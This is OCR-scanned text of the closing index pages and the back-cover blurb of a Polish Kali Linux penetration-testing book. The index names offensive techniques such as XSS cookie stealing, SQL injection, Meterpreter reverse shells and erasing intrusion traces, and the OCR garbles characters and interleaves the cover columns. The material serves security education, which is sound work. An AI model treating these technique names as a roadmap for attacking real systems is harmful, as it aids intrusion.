sklonowanego srodowiska,
279
testy
0 nieograniczonym zakresie
dzialania, 26
odpornosci na przeciazenie
systemu, 256
warunkow skrajnych, 256
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testy penetracyjne, 21
a skanowanie podatnosci, 32
aplikacji internetowych, 23
bezpieczenstwo zasobow, 32
cele, 22, 255
etapy, 24, 34
okreslenie poziomu

zabezpieczen, 307
pomy$lnosé, 33
przeprowadzanie, 32, 33
socjotechniczne, 149
whasnego srodowiska, 272, 273
z wykorzystaniem systemu
Kali Linux, 34

zakres prac, 25, 26
zewnetrzne, 321
zgoda wlasciciela, 33

THX-SSL-DOS, 257

tokeny, 194
sesji, 197

transfery stref, 71, 73

triada CIA, 30

tryb nastuchiwania, 207, 215

ttl, 259

V)

umowy
oczekiwania klienta, 317
potencjalne problemy
i zagadnienia, 324
rozliczane wedlug zuzycia
czasu i zasobow, 305
wykaz prac, 319
ze stalg ceng, 304
unattended installation, 39
Unicast RPF, 285
urlsnarf, 227
usermap_script, 116
ushugi
NAT, 251
profesjonalne, 304
w chmurze, 211
usuwanie $ladéw wlamania, 38
utrzymanie zdobytego
przyczoétka, 37
uwierzytelnianie, 193
ataki stownikowe, 228
dodatkowe rozwigzania, 194
dwuskladnikowe, 283
pojedyncze, 194
uzytkownikéw, 193
wieloskladnikowe, 193
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vV

Vega, 101
modul serwera proxy, 104
zestawienie znalezionych

podatnosci, 104

Volume Based Attacks, 256

Vulnerability Analysis, 35, 46

vulnerability assessment, 32

W

w3af, 120
wykorzystanie znalezionych
podatnosci i luk
w zabezpieczeniach, 122
w3mir, 281
warto$é
ryzyka, 32
sumy kontrolnej, 293
zasobu, 31
WayBack Machine, 54
Web Applications, 47
Web Developer, 199
WebCopier, 281
Webshag, 92
obstuga programu, 93
raport, 95
WebSlayer, 131
atak na zadania HTTP, 134
generator tadunkéw, 132
Websploit, 112
weryfikacja poltaczenn HTTPS, 281
white-box, 25, 30
Windows, 171
ataki typu offline, 171
lista kont uzytkownikow, 181
montowanie dyskéw, 172
odczytywanie i zapisywanie
plikéw, 172
partycja systemu, 172
uzyskanie dostepu do
systemu, 180
Windows Reverse_TCP
Meterpreter, 154
Wireless Attacks, 47
Wireshark, 206
filtrowanie, 208
wirtualne srodowisko testowe, 279
wskaznik ekspozycji, 31
wstrzykiwanie
ciasteczek, 198
kodu, 248
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kodu SQL, 218
pakietow, 228
skryptéw, 223
wtyczki przegladarki Firefox, 198
wykaz prac
dodatkowe elementy, 323
dodatkowe uzgodnienia
prawne, 323
koszty ustug, 323
lista narzedzi, 324
metodologia testow, 323
oczekiwania
i odpowiedzialnosé, 323
szezegotowy, 319
uwierzytelnianie, 324
zewnetrzne testy
penetracyjne, 321
wykorzystywanie
bledéw w zabezpieczeniach
przegladarki, 196
exploitéw, 92
luk w zabezpieczeniach, 113,
254
systemow poczty
elektronicznej, 123
zidentyfikowanych
podatnosci, 36, 254
wymogi bezpieczefistwa, 273
wyszukiwanie
luk w zabezpieczeniach, 92, 221
metadanych, 83
podatnosci, 29, 35, 92
wytyczne, 28, 304

X

XSS, 223
aplikacje internetowe, 248
testowanie podatnosci, 224
XSS cookie stealing, 225

4

zabezpieczanie
serwer6w aplikacji
internetowych, 249
systeméw podigczonych
do internetu, 271
zakres prac, 319
cel testu, 33
definicja
przestrzeni celow, 27
systeméw, 26

zdobycia flagi, 28
dokument, 25
identyfikacja obszaréw

krytycznych, 27
materialy i raporty, 33
metody testowania, 26
narzedzia, 27
oprogramowanie, 27
osoby powiadomione o

planowanym tescie, 27
poczatkowy status testu, 27
ramy czasowe testu, 26, 308
reakcja na proby

przelamywania

zabezpieczen, 27
rekomendacje

powykonawcze, 28
specyfikacja raportu

konicowego, 28

ZAP, 236, 245
obrona przed zdalnymi
atakami, 249
Zaproxy, 105
zarzadzanie
aktualizacjami, 275
poprawkami zabezpieczef,

275
serwerem pakietu, 233
sesjami, 195
wersjami dokumentéw, 308

zasoby sieciowe, odporno$é
na przecigzenie, 263
zatarcie §ladéw penetracji systemu,
38
zaufanie, 59, 148
zbieranie odciskow systemu, 51
zdobycie flagi, 28
Zenmap, 77, 82, 125
Host details, 81
Zero-day, 275
zewnetrzny dysk USB, 292
zmienne
LHOST, 118
RHOST, 117
znaczniki czasu, 172
zrzut okna, 327

4

zadania
Form, 131
mapowanie, 24
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Kali Linux
Testy penetracyjne

W dobie internetu moZzemy cieszyé sie globalng dostepno-
$cig kazdego z systemoéw informatycznych. Z jednej strony
daje to ogromne mozliwosci wymiany informaciji, z drugiej

Siegnij po te ksigzke i:

— naraza system na ataki z zewnatrz. Zastanawiasz sie, poznaj mozliwosci

: : : T ‘o dystrybucji Kali Linux

jak zapewni¢ bezpieczenstwo Twojej sieci? Sprobuj sie do

niej wlamacé lub zleé to profesjonaliscie! Wykonywane w ten przeprowadz typowe ataki
sposob testy penetracyjne to jedna z najskuteczniejszych na serwery aplikacji

metod weryfikacji bezpieczenistwa w sieci. internetowych

przekonaj sie, jak

Jezeli zainteresowat Cig temat testow penetracyjnych, to przeprowadzi¢ atak na

trafites na doskonalg ksiazke. Znajdziesz w niej omowie- metody uwierzytelniania
nie specjalnej dystrybucji Kali Linux. Zawiera ona zestaw ]

niezbednych narzedzi oraz pozwoli Ci przeprowadzic testy. PrvHOI SOmp ST apaEl
W trakcie lektury zrozumiesz, jak przygotowaé Srodowisko ze swoich dziafan

pracy i przeprowadzi¢ atak na popularne serwery aplikacji zadbaj o bezpieczeristwo
internetowych oraz ich klientéw. Z kolejnych rozdziatow siecil

dowiesz sie, jak zweryfikowac zabezpieczenia aplikacii
internetowych oraz serweréw WWW. Na koniec poznasz
najlepsze metody przeciwdzialania i zapobiegania atakom
oraz przygotujesz raport koricowy, w ktérym zaprezentujesz
uzyskane rezultaty. Ksiazka ta jest obowigzkowa leklurg

dla wszystkich osob, ktérym bezpieczenstwo sieci nie jest
obojetne!

Bezpieczenistwo sieci jest w Twoich rekach!
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